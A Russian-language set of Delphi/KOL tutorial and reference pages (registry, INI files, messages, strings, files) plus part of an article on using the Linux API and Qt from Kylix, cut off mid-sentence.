| RegKeyGetStrEx. | Чтение из ключа данных типа String. Если чтение не успешно, то возвращение пустой строки. Расширенный по саоим возможносям вариант RegKeyGetStr. |
| Function RegKeyGetStrEx( Key: HKey; const ValueName: String ): String; | |
| RegKeySetStr. | Запись в ключ данных типа String. |
| Function RegKeySetStr( Key: HKey; const ValueName: String; const Value: String ): Boolean; | |
| Функции для работы с переменными BINARY | |
| RegKeyGetBinary. | Чтение из ключа данных типа binary. Происходит запись данных из реестра в буфер Buffer размером Count. На выходе у функции количество прочитанных байт. |
| Function RegKeyGetBinary( Key: HKey; const ValueName: String; var Buffer; Count: Integer ): Integer; | |
| RegKeySetBinary. | Запись в ключ данных типа Binary. |
| Function RegKeySetBinary( Key: HKey; const ValueName: String; const Buffer; Count: Integer ): Boolean; | |
| Функции для работы с датой | |
| RegKeyGetDateTime. | Чтение из переменной с именем ValueName дыты. В реестре эти данные хранятся в бинарном виде. |
| Function RegKeyGetDateTime( Key: HKey; const ValueName: String ): TDateTime; | |
| RegKeySetDateTime. | Запись даты в реестр. |
| Function RegKeySetDateTime( Key: HKey; const ValueName: String; DateTime: TDateTime ): Boolean; |
После того как вы открыли ключ, вы можете записывать и читать данные. Ну и логическое завершение всего процесса - это команда RegKeyClose, т.е. закрытие ключа, если он вам больше не нужен.
Пример чтения и записи в реестра:program Primer_1;
uses
windows,
messages,
kol;
{$R *.RES}
const
KeyWin = 'SOFTWARE\Microsoft\Windows\CurrentVersion';
var
Form,
edOption,
buOption,
List,
panTop:pControl;
Key:HKey;
///////////////////////////////////////////////////////////
Procedure ClickOnList( Dummy : Pointer; Sender : PControl );
begin
// чтение из реестра
Key := RegKeyOpenRead(HKEY_LOCAL_MACHINE,KeyWin);
edOption.Text := RegKeyGetStr(Key,List.Items[List.CurIndex]);
RegKeyClose(Key);
end;
///////////////////////////////////////////////////////////
Procedure ClickOnButton( Dummy : Pointer; Sender : PControl );
begin
// запись в реестра
if edOption.Text='' then exit;
Key := RegKeyOpenWrite(HKEY_LOCAL_MACHINE,KeyWin);
RegKeySetStr(Key,List.Items[List.CurIndex],edOption.Text);
RegKeyClose(Key);
end;
///////////////////////////////////////////////////////////
begin
Form := NewForm(Applet,'Пример работы с реестром').SetSize(400,200);
// можно было обойтись и Form.CanResize := false
Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE;
Form.Font.FontName := 'MS Sans Serif';
Form.Font.FontHeight := 8;
panTop := NewPanel(Form,esRaised).SetAlign(caTop);
edOption := NewEditbox(panTop,[]);
buOption := NewButton (panTop,'Применить').PlaceRight;
buOption.OnClick := TOnEvent( MakeMethod( nil, @ClickOnButton ) );
List := NewListbox(Form,[]).SetAlign(caClient);
List.Add('ProductId');
List.Add('ProductName');
List.Add('RegisteredOrganization');
List.Add('RegisteredOwner');
List.Add('Version');
List.Add('VersionNumber');
List.OnClick := TOnEvent( MakeMethod( nil, @ClickOnList ) );
// ----- Наводим красоту жонглируя с размерами.--------
// Можно и не вникать :)
edOption.Width := panTop.Width - buOption.Width-10;
buOption.Left := edOption.Width+ 4 ;
panTop.Height := edOption.Height+10;
//-----------------------------------------------------
Run(Form);
end.
Исходный текст : 1,92 Кб ; размер программы: 30Кб (без сжатия и замены System)
После компиляции вы увидите примерно следующие:
Если вы читали мои предыдущие монологи про KOL, вам должно быть в основном все понятно. Не говорил я только про свойства Font.FontName и Font.FontHeight, но тут можно вполне догадатся, что мы меняем параметры шрифта.
Урок 9 - Работа с INI файлами.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Если вы не являетесь любителем забивать свои и чужие реестры мегабайтами мусора, или просто не надеетесь на сохранность информации в нем (когда нибудь Windows наверняка умрет), то вам надо обратить свои взоры на старые добрые Ini-файлы.
В KOL работа с ini организованна с помощью объекта TIniFile. Для того чтобы открыть ini-файл (и одновременно создать TIniFile), надо воспользоваться функцией OpenIniFile. Свойство Mode отвечает за то, что вы будете делать с ini файлом : производить запись или чтение. Для записи вы должны прировнять Mode к ifmWrite, и соответственно для чтения к ifmRead. По умолчанию (при открытии) Mode = ifmRead, т.е. для чтения.
Для чтения/записи данных из ini используют 4 функции. Их описание приведено в таблице :
| Функция | Выполняемое действие |
| ValueInteger. | Чтение/запись данных Value типа integer под именем Key. |
| Function ValueInteger( const Key: String; Value: Integer ): Integer; | |
| ValueString. | Чтение/запись данных Value типа string под именем Key. |
| Function ValueString( const Key: String; const Value: String ): String; | |
| ValueBoolean. | Чтение/запись данных Value типа boolean под именем Key. |
| Function ValueBoolean( const Key: String; Value: Boolean ): Boolean; | |
| ValueData. | Чтение/запись данных на которые указывает Value длинной Count под именем Key. |
| Function ValueData( const Key: String; Value: Pointer; Count: Integer ): Boolean; |
program Primer_2;
uses
windows,
messages,
kol;
var
Form,
panTop,
buWrite,
edDan,edName,
List1,List2 : pControl;
dialog : pOpenSaveDialog;
strList : pStrList;
ini : pIniFile;
i : integer;
/////////////////////////////////////////////////////////////////////
// обработка клика по кнопке "записать "
Procedure ClickOnBuWrite( Dummy : Pointer; Sender : PControl );
begin
if edName.Text = '' then Exit;
ini.Mode := ifmWrite;
ini.ValueString(edName.Text, edDan.text);
ini.Mode := ifmRead;
end;
/////////////////////////////////////////////////////////////////////
Procedure ClickOnList2( Dummy : Pointer; Sender : PControl );
var
s : string;
i : integer;
begin
s := List2.Items[List2.CurIndex];
i := IndexOfChar(s, '=');
edName.Text := Copy(s, 0, i - 1);
edDan.Text := CopyEnd(s, i + 1);
end;
/////////////////////////////////////////////////////////////////////
Procedure ClickOnList1( Dummy : Pointer; Sender : PControl );
var
j : integer;
begin
edName.Clear ;
edDan.Clear ;
j := List1.CurIndex;
// заносим в List2 данные, которые находятся в j-ой секции
strList.Clear ;
List2.Clear ;
ini.Section := List1.Items[j];
ini.SectionData(strList);
for i := 0 to strList.Count-1 do
List2.Items[i]:=strList.Items[i];
end;
/////////////////////////////////////////////////////////////////////
begin
Applet := NewApplet('Пример #2');
dialog := NewOpenSaveDialog('Выбор ini', '', []);
dialog.Filter := '*.ini|*.ini|все|*.*';
dialog.OpenDialog := true;
if dialog.Execute then
ini := OpenIniFile(dialog.Filename)
else
exit;
//----------- делаем интерфейс ------------------------
Form := NewForm(Applet, 'Работа с Ini файлами').setSize(400, 300);
Form.Font.FontName := 'MS Sans Serif';
Form.Font.FontHeight := 9;
Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE;
panTop := NewPanel(Form, esRaised ).SetAlign(caTop) ;
panTop.Height := 60 ;
buWrite := NewButton(panTop, 'Записать');
buWrite.OnClick := TOnEvent( MakeMethod( nil, @ClickOnBuWrite ) );
edName := NewEditBox(panTop,[eoReadOnly]).PlaceDown;
edDan := NewEditBox(panTop, []).PlaceRight;
edDan.Width := Form.Width - edName.Width - 30;
strList:= NewStrList;
List1 := NewListBox(Form,[]).setAlign(caLeft);
List2 := NewListBox(Form,[]).setAlign(caClient);
//---------------------------------------------------
// заносим в List1 список секций
ini.GetSectionNames(strList);
for i := 0 to strList.Count - 1 do
List1.Items[i] := strList.Items[i];
List1.OnChange := TOnEvent( MakeMethod( nil, @ClickOnList1 ) );
// показываем данные из 0-ой секции
List1.CurIndex := 0;
ClickOnList1(nil, nil);
List2.OnClick := TOnEvent( MakeMethod( nil, @ClickOnList2 ) );
run(Applet);
end.
Исходный текст : 2,64 Кб ; размер программы: 32,5Кб(без сжатия и замены System).
А теперь таблица подытоживающая все вышесказанное, а также рассказывающая про свойства pIniFile, которые не были затронуты:
| Свойство | Описание |
| FileName | Имя ini файла |
| Mode | Отвечает в каком режиме находится Ini файл: для чтения или для записи |
| Section | Секция из которой (или в которую) идет чтение (или запись) |
| GetSectionNames | Читает список секций в этом ini-файле |
| SectionData | Читает данные из текущей секции |
| ClearAll | Удаляет все секции в ini-файле |
| ClearSection | Удаляет текущую секцию |
| ClearKey | Удаляет ключ (переменную) |
Справочник по KOL - Вывод сообщений.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Procedure MsgOK( const S: String ); Самый простой способ для вывода сообщений пользователю. Заголовок приравнивается к Applet.Caption (или 'Error' если Applet не запущен).
Function ShowMsg( const S: String; Flags: DWORD ): DWORD; Упрощенный для использования MessageBox. Поэтому подробное описание Flags и возвращаемых значений можете посмотреть в Win32.hlp или в конце этого раздела (но без описания).
Procedure ShowMessage( const S: String ); ShowMsg с Flags равным MB_OK or MB_SETFOREGROUND.
Procedure ShowMsgModal( const S: String ); Процедура будет вам полезна, если вам надо вывести большое количество информации в модальном окне. Окно имеет фиксированную ширина 400 пикселей и текст в нем автоматически переносится на другую строку. Окно выводится посередине экрана с заголовком 'Information'.
Function SysErrorMessage( ErrorCode: Integer ): string; Создает и возвращает строку, содержащую форматированное системное сообщение об ошибке. Вы можите отобразить это сообщение на экране или записать в файл. Например, вы хотите вывести это сообщение на экран: ShowMsg( SysErrorMessage( GetLastError ) );
| Список констант для API MessageBox и KOL ShowMsg | |
| Стиль | На выходе |
| MB_ABORTRETRYIGNORE MB_APPLMODAL MB_DEFAULT_DESKTOP_ONLY MB_DEFBUTTON1 MB_DEFBUTTON2 MB_DEFBUTTON3 MB_DEFBUTTON4 MB_HELP MB_ICONASTERISK MB_ICONERROR MB_ICONEXCLAMATION MB_ICONHAND MB_ICONINFORMATION MB_ICONQUESTION MB_ICONSTOP MB_ICONWARNING MB_OK MB_OKCANCEL MB_RETRYCANCEL MB_RIGHT MB_RTLREADING MB_SERVICE_NOTIFICATION MB_SETFOREGROUND MB_SYSTEMMODAL MB_TASKMODAL MB_YESNO MB_YESNOCANCEL | IDABORT IDCANCEL IDIGNORE IDNO IDOK IDRETRY IDYES |
Справочник по KOL - Системные функции.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Function ExecuteWait( const AppPath, CmdLine, DfltDirectory: String; Show: DWORD; TimeOut: DWORD; ProcID: PDWORD ): Boolean; Запускает приложение и ждет его выполнения. TimeOut - сколько времени должно выполнятся приложение. Если за это время приложение не закончило свою работу, то функция возвращает true и ProcID приравнивается к nil. В случае если TimeOut = INFINITE, то время ожидания окончания работы не определено (предполагается, что когда нибудь оно и закроется). AppPath, CmdLine, DfltDirectory - имя приложения, параметры с которыми оно запускается и рабочая директория Show - это SW_SHOW, SW_HIDE или любая другая SW_XXX константа ProcID - хендл запущенного процесса.
Function GetStartDir: String; Возвращает путь до вашего приложения.
Function GetTempDir: string; Возвращает путь до временного каталога (С:\WINDOWS\TEMP).
Function GetWindowsDir: string; Возвращает директорию в которой находится Windows.
Function WinVer: TWindowsVersion; Возвращает текущую версию Windows TWindowsVersion может иметь следующие значения: wv31, wv95, wv98, wvNT, wvY2K.
Function IsWinVer( Ver: TWindowsVersions ): Boolean; Возвращает true если указанная версия Ver Windows работает на данной машине.
Справочник по KOL - Функции преобразования типов.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Function Int2Hex( Value: DWord; Digits: Integer ): String; Конветирует Value типа integer в строку составленную из символов цифр в шестеричном исчисление. Параметр Digits определяет минимальное количество цифр.
Function Int2Str( Value: Integer ): String; Конвертирует Value типа integer в строку.
Function Int2Ths( I: Integer ): String; Конвертирует Value типа integer в строку. Между тремя цифрами ставится символ: ',' (удобна для вывода цифр больше тысячи).
Function Int2Digs( Value, Digits: Integer ): String; Преобразование integer в string. Digits - указывает сколько минимально символов в строке. Если Digits больше количества цифр в Value то недостающие цифры заменяются нулями.
Function Num2Bytes( Value: Double ): String; Преобразование Value в строку исходя из того, что Value это количество байт. Если Value достаточно большое, число представляется в виде килобайт (с буквой K в конце), или мегабайт (M), гигабайт (G) или терабайт (T).
Function Str2Int( const Value: String ): Integer; Перевод Value типа string в integer.
Function Hex2Int( const Value: String ): Integer; Перевод шестеричного числа в integer. Value конвертируется до первого символа не входящую в шестеричные цифры.
Следующие функции аналогичны описанным выше и отличаются только переводимыми типами данных : function Str2Double( const S: String ): Double; function Double2Str( D: Double ): String; function Int64_2Str( X: Int64 ): String; function Str2Int64( const S: String ): Int64; function Int64_2Double( const X: Int64 ): Double; function Double2Int64( D: Double ): Int64;Справочник по KOL - Работа со строками.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Function AnsiEq( const S1, S2: String ): Boolean; Возвращает true, если AnsiLowerCase(S1) = AnsiLowerCase(S2) т.е сравнивает 2 строки без учета регистра. Данная функция подойдет только для русских символов. function DelimiterLast( const Str, Delimiters: String ): Integer; Функция ищет в строке Str последнее вхождение строки Delimiters и возвращает номер символа с которого он идет. Если Delimiters не найден возвращается длина Str.
Function AnsiUpperCase( const S: string ): string; Преобразует символы в строке S к верхнему регистру.
Function AnsiLowerCase( const S: string ): string; Преобразует символы в строке S к нижнему регистру.
Function AnsiCompareStr( const S1, S2: string ): Integer; Сравнивает две строки ANSI S1 и S2 без учета регистра. Возвращает значение < 0, если S1 < S2, 0, если S1 = S2, и > 0, если S1 > S2.
Function _AnsiCompareStr( S1, S2: PChar ): Integer; Аналог AnsiCompareStr только для PChar.
Function CopyEnd( const S: String; Idx: Integer ): String; Копирует строку из строки S с Idx символа до последнего.
Function CopyTail( const S: String; Len: Integer ): String; Возвращает последние Len символа из строки S. Если Len > Length( S ), возвращается вся строка S.
Procedure DeleteTail( var S: String; Len: Integer ); Удаляет последние Len символа из строки.
Function LowerCase( const S: string ): string; Преобразует символы в строке S к нижнему регистру. Только для латинских символов.
Procedure NormalizeUnixText( var S: String ); В строке S происходит замена всех символов #10 на символ #13.
Function IndexOfChar( const S: String; Chr: Char ): Integer; Возвращает положение символа Chr в строке S. Возвращаемое значение может быть то 1 до Length(S), если возвращается -1 то символ не найден.
Function IndexOfCharsMin( const S, Chars: String ): Integer; Возвращает положение ближайшего от начала(строки) символа Chr в строке S. Если возвращается -1 то символ не найден.
Function IndexOfStr( const S, Sub: String ): Integer; Возвращает положение строки Sub в строке S. Возвращаемое значение может быть то 1 до Length(S)-Length(Sub), если возвращается -1 то строка не найдена.
Function Parse( var S: String; const Separators: String ): String; Функция ищет в строке S строку Separators и возвращает все что шло до этого разделителя (т.е. до Separators). В строке S удаляется возвращаемая часть и найденный Separators. Т.е. если S= '1-2-3',а Separators= '-' то при первом вызове на выходе '1' , а S='2-3' Если в S нет Separators то возвращаемое значение рано S, а сама S становится пустой.
Function StrEq( const S1, S2: String ): Boolean; Возвращает true, если LowerCase(S1) = LowerCase(S2) т.е сравнивает 2 строки без учета регистра. Данная функция подойдет только для латинских символов.
Function StrIn( const S: String; A: array of String ): Boolean; Функция возвращает True если в одна из строк массива А равна строке S. Спавнение идет с помощью функции StrEq поэтому оно не чуствительно к регистру букв.
Function StrSatisfy( const S, Mask: String ): Boolean; Возвращает True если строка S соответствует маске Mask. Строка Mask может содержать символ '*' (любое количество любых символов) и '?' (один любой символ). Например чтобы проверить содержит ли S адрес почты надо : StrSatisfy(S,'*@*.*');
Function StrReplace( var S: String; const From, ReplTo: String ): Boolean; Производит замену в строке S первой встреченной строки From на строку ReplTo. Если замена произошла успешно возвращает True.
Function StrPCopy( Dest: PChar; const Source: string ): PChar; Копирует паскалевскую строку в строку типа PChar.
Function StrLCopy( Dest: PChar; const Source: PChar; MaxLen: Cardinal ): PChar; Копирует первые MaxLen символов из паскалевсокой строки в строку типа PChar.
Function StrComp( const Str1, Str2: PChar ): Integer; Быстрое сравнение 2-х строк. На выходе -1: Str1<Str2; 0: Str1=Str2; +1: Str1>Str2.
Function StrLComp( const Str1, Str2: PChar; MaxLen: Cardinal ): Integer; Сравнивает до MaxLen символов двух строк Str1 и Str2 с учетом регистра. Возвращает значение < 0, если Str1 < Str2, 0, если Str1 = Str2, и > 0, если Str1 > Str2.
Function StrCopy( Dest, Source: PChar ): PChar; Функция производит быстрое копирование строки Source в Dest и возвращает Dest.
Function StrLen( const Str: PChar ): Cardinal; Функция возвращает число символов в строке Str, не учитывая конечного нулевого символа.
Function StrScanLen( Str: PChar; Chr: Char; Len: Integer ): PChar; Быстрое сканирование строки Str длиной Len на нахождение в нем первого символа Chr . Если Chr не входит в Str, возвращается nil.
Function StrScan( Str: PChar; Chr: Char ): PChar; Полный аналог предыдущей функции только сканирование происходит всей строки Str до последнего символа.
Function StrRScan( const Str: PChar; Chr: Char ): PChar; Возвращает указатель на последнее вхождение символа Chr в строку Str. Если Chr не входит в Str, возвращается nil.
Function StrIsStartingFrom( Str, Pattern: PChar ): Boolean; Возвращает True если строка Str начинается со строки Pattern, то есть если Copy( Str, 1, StrLen( Pattern ) ) = Pattern.
Procedure Str2LowerCase( S: PChar ); Переводит символы в нуль-терминальной строке в верхней регистр.
Function TrimLeft( const S: string ): string; Удаляет из начала строки S пробелы и управляющие символы.
Function TrimRight( const S: string ): string; Удаляет в конца строки S пробелы и управляющие символы.
Function Trim( const S: string ): string; Удаляет в конца и в начале строки S пробелы и управляющие символы.
Function UpperCase( const S: string ): string; Преобразует символы в строке S к верхнему регистру. Только для латинских символов.
Function WStrReplace( var S: WideString; const From, ReplTo: WideString ): Boolean; Производит замену в строке S первой встреченной строки From на строку ReplTo. Если замена произошла успешно возвращает True. Анналог функции StrReplace только для WideString (поэтому в Delphi 2 не будет).
Function WStrLen( W: PWideChar ): Integer; Возвращает длину строки типа PWideChar.
Procedure WStrCopy( Dest, Src: PWideChar ); Копирует строку Dest тип PWideChar в Src.
Function WStrCmp( W1, W2: PWideChar ): Integer; Сравнивает 2-е строки тип PWideChar. На выходе тоже что и у StrComp.
Function Clipboard2Text: String; Возвращает из буфера обмена текст.
Function Text2Clipboard( const S: String ): Boolean; Помещает в буфер обмена текст.
Справочник по KOL - Работа с файлами.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Function DirectoryExists( const Name: string ): Boolean; Возвращает Тгие если директория существует.
Function DirectoryEmpty( Name: string ): Boolean; Возвращает Тгие если директория не существует.
Function DirectoryHasSubdirs( const Path: string ): Boolean; Возвращает True если директория Path существует и не имеет подкаталоги.
Function CheckDirectoryContent( const Path: string; SubDirsOnly: Boolean; const Mask: string ): Boolean; Возвращает TRUE если директория Path не содержит файлов (или каталогов если вы установили SubDirsOnly = true) с определенной маской.
Function IncludeTrailingPathDelimiter( const S: string ): string; Добавляет символ '\' в конец строки если он там не присутствует.
Function ExcludeTrailingPathDelimiter( const S: string ): string; Удаляет из конца строки символ '\' если он там присутствует.
Procedure ForceDirectories( Dir: String ); Создает каталог Dir если он не существует. Если нужно то создает и подкаталоги для этого каталога.
Function CreateDir( const Dir: string ): Boolean; Создает каталог.
Function ExtractShortPathName( const Path: String ): String; Из длиного пути создает короткий путь.То есть если у вас D:\Program Files\Borland\Delphi 3 то будет D:\PROGRA~1\BORLAND\DELPHI~1.
Function ExtractFileNameWOext( const Path: String ): String; Из полного пути к файлу выделяет имя файла без расширения. То есть если у вас на входе D:\Program Files\Borland\Delphi 3\prog\api.txt на выходе : api.
Function FileFullPath( const FileName: String ): String; Из короткого пути создает длинный путь.
Function FileShortPath( const FileName: String ): String; Из длинного пути создает короткий путь.
Function FileSize( const Path: String ): Integer; Возвращает размер файла.
Function GetUniqueFilename( PathName: string ): String; Создает уникальное имя файла на основе существующего PathName. Например у вас файл aaa.txt то на выходе получится aaa1.txt , aaa2.txt ...
Function DiskFreeSpace( const Path: String ): Int64; Возвращает свободное место на диске. В Path должен находится путь до корневой директории, например : 'C:\'.
Взаимодействие с системой - Linux API и Qt Library.
Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru В процессе разработки приложений в средах Delphi и Kylix время от времени возникает необходимость в обращении непосредственно к прикладному интерфейсу системы. Это происходит по двум причинам: во-первых, несмотря на широчайший выбор компонентов, библиотека VCL/CLX не в состоянии охватить все возможности, предоставляемые операционной системой. Во-вторых, даже в том случае, когда среда разработки предоставляет готовый компонент, обладающий соответствующей функциональностью, в целях повышения быстродействия имеет смысл использовать системные функции, лежащие в основе компонента. В Delphi интерфейсы большинства системных функций определены в библиотеках времени выполнения (run-time libraries), а для упрощения реализации недостающих интерфейсов в язык Object Pascal введены элементы, облегчающие "перевод" деклараций функций и объектов с С++ на Object Pascal и взаимодействие с системными библиотеками. Фактически, можно утверждать, что интерфейс Win32 API полностью доступен в Delphi. Разработчики Kylix также постарались сделать интерфейс системы Linux максимально доступным в среде Object Pascal. Однако, при программировании в Kylix, непосредственное взаимодействие с системой осуществляется несколько сложнее, чем в Delphi и Windows. Прежде всего, следует учесть, что Linux не так "монолитна", как Windows. То, что мы дальше будем называть "интерфейсом системы" состоит из нескольких независимых друг от друга частей. В Linux графическая подсистема отделена от остальной операционной системы и в принципе эта 32-х разрядная многозадачная ОС может использоваться вообще без графического интерфейса. У такого подхода есть свои преимущества: при решении ресурсоемких задач вся мощность процессора может быть брошена на выполнение полезной работы, а не затрачиваться на перерисовку окон. Кроме того приложениям с текстовым интерфейсом присуща большая стабильность. Работа с графикой в Linux осуществляется на основе сервера XFree86. Эта графическая подсистема предоставляет в распоряжение программиста интерфейсы для выполнения базовых операций, необходимых для построения графического интерфейса пользователя и вывода графической информации. При решении большинства задач у программиста не возникает необходимости писать код, взаимодействующий непосредственно с XFree86. Дело в том, что над XFree86 существует несколько "надстроек", облегчающих работу с графикой и построение пользовательского интерфейса. Одной из таких надстроек является библиотека Qt library, на базе которой реализована графическая оболочка KDE. Qt library является также основой набора компонентов VisualCLX, - аналога VCL для Kylix. Следует отметить, что библиотека Qt реализована не только на Linux. Существуют версии Qt для Mac OS, Solaris и даже для Windows. Ожидается, что поддержка Qt будет введена в Delphi 6.0, что в свою очередь еще больше упростит перенос приложений между Kylix и Delphi. В Kylix большая часть системных функций Linux инкапсулирована в модулях System, SysUtils и т. д., а большинство возможностей Qt library реализовано в наборе компонентов VisualCLX. Кроме этого Kylix предоставляет программисту возможность непосредственной работы как с интерфейсами Linux, так и с классами библиотеки Qt. Далее мы рассмотрим эти возможности подробнее. Kylix и Linux API Импортирование функций Linux API осуществляется достаточно просто и очень похоже на импортирование функций из Windows DLL. В Linux аналогом DLL являются разделяемые библиотеки (shared object files, so files). Обычно имена файлов разделяемых библиотек включают расширение .so. Не следует путать эти файлы с файлами объектного кода. Модули времени выполнения Kylix импортируют многие функции Linux API. Например, модуль Libc импортирует функции glibc - GNU C library. Между именами функций glibc и их декларациями в Libc существует четкое соответствие, так что для изучения функций модуля Libc можно воспользоваться документацией по glibc и страницами man. Между прочим, если в окне редактора кода поместить курсор на имя glibc функции и нажать F1, будет открыто не окно справки Kylix, а соответствующая man-страница.Рассмотрим, например, glibc функцию fork, которая создает в системе новый процесс, являющийся точной копией того процесса, из которого вызвана эта функция. В glibc данная функция определена следующим образом:
pid_t fork (void);
В модуле Libc декларация этой функции выглядит так:
function fork: __pid_t; cdecl;Обратите внимание на указание формата вызова cdecl. Этот формат используется по умолчанию для вызова системных функций Linux, также как в Delphi для вызова функций Win32 API используется stdcall.
Вы сами можете импортировать функции из разделяемых библиотек. В следующем примере осуществляется импортирование функции vga_setmode из библиотеки VGAlib (разделяемый файл libvga.so). В заголовке библиотеки, написанной на С, эта функция объявляется как.
int vga_setmode (int mode);
В модуле Kylix пишем:
... interface function SetVGAMode(Mode: Integer): Integer; cdecl; ... implementation function SetVGAMode; external 'libvga.so' name 'vga_setmode'; ...Интеграция кода, написанного на C/C++, и Kylix-приложений будет рассмотрена подробнее в следующих статьях. Kylix и Qt library
Библиотека Qt library является основой библиотеки VisualCLX точно также, как Windows GUI API является основой Delphi VCL. Большинство компонентов VisualCLX можно рассматривать как "Object Pascal оболочки" соответствующих объектов Qt library.
Однако механизм взаимодействия между VisualCLX и Qt library сложнее, чем механизм взаимодействия между VCL и Windows GUI API. На рисунке справа показаны различные уровни интерфейсов между XFree86 и VisualCLX. На схеме видно, что между VisualCLX и Qt library лежит "прослойка" CLXDisplay API. Необходимость в этой "прослойке" вызвана тем, что Qt library - это не набор функций, а иерархия классов С++. В Object Pascal не существует возможности импортировать классы С++ непосредственно, и разработчикам Kylix пришлось пойти в обход этой проблемы.
Идея CLXDisplay API заключается в трансляции методов классов в функции. (Говоря о классах, я буду использовать терминологию Object Pascal, а не С++). Для обращения к какому-либо методу экземпляра класса Qt library вызывается соответствующая функция, которой в качестве одного из параметров передается указатель на экземпляр класса, для которого должен быть вызван данный метод.
Поясним вышесказанное на простом примере: Допустим, в библиотеке, написанной на С++, реализован класс QSomeClass. У этого класса есть конструктор, деструктор и метод Method1. Для того, чтобы сделать методы класса С++ доступными в Object Pascal, мы пишем на С++ библиотеку-оболочку для данного класса, экспортирующую функции QSomeClass_Create, QSomeClass_Destroy и QSomeClass_Method1. Теперь, для того, чтобы в программе, написанной на Object Pascal, создать экземпляр класса QSomeClass, мы вызываем функцию QSomeClass_Create, и передаем ей в качестве параметров значения, требующиеся конструктору класса. Написанная на С++ функция QSomeClass_Create создает экземпляр класса QSomeClass и передает значения своих параметров его конструктору. В качестве результата функция возвращает некий идентификатор созданного экземпляра, например, указатель на него. Таким образом мы можем создать несколько экземпляров класса QSomeClass. Если теперь мы хотим вызвать метод Method1 для одного из экземпляров QSomeClass, мы вызываем функцию QSomeClass_Method1, передавая ей в качестве одного из параметров значение, возвращенное функцией QSomeClass_Create. Оболочка класса вызывает метод Method1 для экземпляра, соответствующего переданному идентификатору, передает этому методу необходимые параметры и затем, если нужно, возвращает значение, возвращенное методом Method1. Для уничтожения экземпляра QSomeClass вызывается функция QSomeClass_Destroy, которой передается идентификатор этого экземпляра.
Таким образом можно сказать, что CLXDisplay API представляет собой набор функций, "деклассирующих" библиотеку Qt library. Для упрощения работы с этим интерфейсом имена функций строятся по определенной системе. Рассмотрим для примера Qt класс QPushButton. Класс QPushButton реализует кнопку - элемент пользовательского интерфейса и является основой класса TButton из библиотеки VisualCLX. У класса QPushButton есть несколько конструкторов, деструктор и ряд методов, таких как SetDefault, IsDefault, SetFlat и т. д. Далее мы рассмотрим, какие функции для работы с этим классом предоставляет CLXDisplay API. Функции интерфейса CLXDisplay API объявляются в Kylix модуле Qt, который поставляется с исходным текстом. В комплект документации, поставляемой с Kylix, справочник по CLXDisplay API не входит, так что нашими главными источниками информации по этому вопросу будут файл Qt.pas из поставки Kylix и документация к Qt library.
Из файла qpushbutton.h, входящего в Qt library, явствует, что у класса QPushButton три конструктора:
QPushButton(QWidget *parent, const char *name=0); QPushButton(const QString &text, QWidget *parent, const char* name=0); QPushButton(const QIconSet& icon, const QString &text, QWidget *parent, const char* name=0);
Каждому из этих конструкторов соответствует своя функция в модуле Qt:
function QPushButton_create(parent: QWidgetH; name: PAnsiChar): QPushButtonH; overload; cdecl; function QPushButton_create(text: PWideString; parent: QWidgetH; name: PAnsiChar): QPushButtonH; overload; cdecl; function QPushButton_create(icon: QiconSetH; text: PWideString; parent: QWidgetH; name: PAnsiChar): QPushButtonH; overload; cdecl;Обратите внимание на спецификатор overload. В качестве префикса к имени функции используется имя класса, в данном случае QPushButton. Далее следует _create, означающее, что функция создает экземпляр класса и вызывает его конструктор. Все три функции возвращают значение типа QPushButtonH, которое является ссылкой на созданный экземпляр объекта. Это значение следует передавать другим функциям для работы с экземпляром QPushButton. Имя типа ссылки на экземпляр класса составляется из имени класса с добавлением H. Обратите внимание на переменную parent типа QWidgetH - эта переменная является ссылкой на экземпляр одного из потомков класса QWidget, базового класса Qt library. В этом параметре передается ссылка на экземпляр объекта пользовательского интерфейса, которому принадлежит создаваемая кнопка. В иерархии указателей действуют те же правила, что и в иерархии классов: переменной типа QWidgetH можно присваивать указатель на экземпляр любого класса-потомка QWidget. В переменной name передается имя экземпляра. Оно используется в некоторых средах разработки и для поиска экземпляра объекта в иерархии объектов. Вы можете присваивать этой переменной любое значение.
Для уничтожения экземпляра объекта QPushButton служит процедура QPushButton_destroy:
procedure QPushButton_destroy(handle: QPushButtonH); cdecl;
В качестве единственного параметра этой функции передается ссылка на экземпляр объекта, который нужно уничтожить. Для вызова метода SetFlat, отключающего или восстанавливающего вывод границы для неактивной кнопки, служит процедура QPushButton_setFlat:
procedure QPushButton_setFlat(handle: QPushButtonH; p1: Boolean); cdecl;
Для проверки того, является ли данная кнопка элементом управления, выбираемым по умолчанию предназначена функция.
function QPushButton_isDefault(handle: QPushButtonH): Boolean; cdecl;
В начале этого раздела было отмечено, что в основе компонентов VisualCLX лежат классы Qt library. Можно ли получить доступ к экземпляру класса Qt, соответствующему данному экземпляру класса VisualCLX? VisualCLX предоставляет такую возможность. Для каждого класса VisualCLX определено свойство Handle, которое во время выполнения программы содержит ссылку на "нижележащий" класс Qt library. Эта ссылка позволяет вызывать методы класса Qt. Рассмотрим конкретный пример. Пусть при проектировании пользовательского интерфейса приложения в окне формы была создана кнопка - компонент класса TButton. Это означает, что в программу была введена переменная Button1 : TButton. Как и следовало ожидать, свойство Button1.Handle имеет тип QPushButtonH. Воспользуемся этим указателем для доступа к Qt объекту и сделаем данную кнопку элементом управления по умолчанию:
